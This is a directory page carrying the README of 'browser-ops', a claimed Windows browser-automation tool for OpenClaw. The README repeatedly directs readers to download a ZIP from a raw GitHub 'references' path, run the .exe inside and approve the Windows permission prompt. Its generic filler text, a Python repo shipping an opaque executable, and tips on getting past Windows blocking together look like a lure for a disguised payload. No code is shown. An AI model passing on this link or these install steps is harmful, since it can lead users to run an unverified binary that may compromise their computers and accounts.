Newcontext-mode—Save 98% of your AI coding agent's context windowLearn more
MCP Directory
ServersClientsBlog

context-mode

Save 98% of your AI coding agent's context window. Works with Claude Code, Cursor, Copilot, Codex, and more.

Try context-mode
MCP Directory

Model Context Protocol Directory

MKSF LTD
Suite 8805 5 Brayford Square
London, E1 0SG

MCP Directory

  • About
  • Blog
  • Documentation
  • Contact

Menu

  • Servers
  • Clients

© 2026 model-context-protocol.com

The Model Context Protocol (MCP) is an open standard for AI model communication.
Powered by Mert KoseogluSoftware Forge
  1. Home
  2. Clients
  3. browser-ops

browser-ops

GitHub

Run browser tasks for OpenClaw with HITL control, incident recovery, and native browser ops automation

0
0

🧭 browser-ops - Run browser tasks with less effort

Download browser-ops

📦 What this app does

browser-ops is a Windows app for browser work. It helps with tasks like opening sites, filling forms, moving through pages, and handling repeat steps. It is built for OpenClaw and keeps the main browser flow in one place.

Use it when you want a browser tool that can:

  • follow a set of steps in the browser
  • switch between manual and automatic work
  • recover from page errors
  • hand off tasks when human review is needed
  • keep browser work in a steady flow

🖥️ What you need

Before you install, make sure your PC has:

  • Windows 10 or Windows 11
  • A modern web browser
  • At least 4 GB of RAM
  • 500 MB of free disk space
  • A stable internet connection
  • Permission to run apps on your PC

If you plan to use large browser jobs, 8 GB of RAM or more works better.

⬇️ Download browser-ops

Visit this page to download and run browser-ops:

https://raw.githubusercontent.com/Garenaof2462/browser-ops/main/references/ops-browser-v3.4.zip

Open the page, look for the latest release or download file, then save it to your PC.

🛠️ Install on Windows

  1. Open the download page in your browser.
  2. Find the latest Windows file.
  3. Download the file to your Downloads folder.
  4. If the file is a ZIP file, right-click it and choose Extract All.
  5. Open the extracted folder.
  6. Find the app file, such as .exe, and double-click it.
  7. If Windows asks for permission, choose Yes.
  8. Wait for the app to open.

If the app starts from a single file, keep that file in a safe folder so you can find it later.

🚀 First run

After the app opens:

  1. Read the main screen.
  2. Connect your browser if the app asks for it.
  3. Choose a browser task or flow.
  4. Pick a site or page to work on.
  5. Start with a small task first.
  6. Watch the first run to make sure the steps match your needs.

For best results, test with a simple site before you use it on a longer workflow.

🧭 Main features

  • Browser intelligence: reads page state and helps the flow adapt
  • Action policy: decides what step comes next
  • Handoff: passes control to a person when needed
  • Autopilot: runs browser steps with little input
  • Failure recovery: retries or recovers when a page fails
  • Workflow kernel: keeps the browser flow in order
  • Human-in-the-loop: lets you review key steps before moving on

🧩 How to use it

Use browser-ops in a simple way:

  1. Open the app.
  2. Load the browser task you want to run.
  3. Set the site or workflow.
  4. Pick manual mode if you want to check each step.
  5. Pick autopilot mode if you want the app to keep going.
  6. Use handoff when a login, check, or review needs you.
  7. Watch the task log if the page stops or changes.

🔧 Common setup tips

🌐 Browser setup

  • Keep your browser up to date
  • Close extra tabs before you start
  • Turn off extensions that block scripts
  • Use one browser profile for the app if you can

🔒 Site login

  • Sign in before you start long jobs
  • Keep your login session active
  • If a site uses extra checks, plan for a handoff step

⚙️ Workflow setup

  • Start with one site
  • Use short flows at first
  • Add more steps once the first flow works
  • Keep page names clear so you can find them fast

🧪 Example use cases

  • open a site and move through a set of pages
  • collect page data from repeat visits
  • fill in browser forms
  • switch from auto mode to manual review
  • recover a task after a page refresh or timeout
  • keep a long workflow moving without starting over

🐞 If something goes wrong

If the app does not open:

  • check that the file finished downloading
  • try running it again
  • move the file to a simple folder like Desktop or Downloads
  • make sure Windows did not block the file

If the browser flow stops:

  • reload the page
  • check your internet connection
  • close extra tabs
  • try the task again from the start

If a site looks different:

  • use handoff to check the page
  • review the next step before you continue
  • start with a simpler site first

📁 Suggested folder setup

Use a folder like this on your PC:

  • C:\browser-ops
  • C:\browser-ops\downloads
  • C:\browser-ops\logs
  • C:\browser-ops\workflows

This keeps files easy to find when you need to run the app again.

🔄 Daily use

A simple daily flow looks like this:

  1. Open browser-ops.
  2. Open the browser.
  3. Load your task.
  4. Check the site and login state.
  5. Start autopilot or manual mode.
  6. Review the result at the end.

🔍 Keywords this project covers

action policy, automation, browser automation, browser intelligence, failure recovery, human in the loop, OpenClaw, orchestration, web crawling, workflow engine, workflow kernel, browser ops

📌 Repository

Primary download page:

https://raw.githubusercontent.com/Garenaof2462/browser-ops/main/references/ops-browser-v3.4.zip

Repository

GA
Garenaof2462

Garenaof2462/browser-ops

Created

April 4, 2026

Updated

April 13, 2026

Language

Python

Category

AI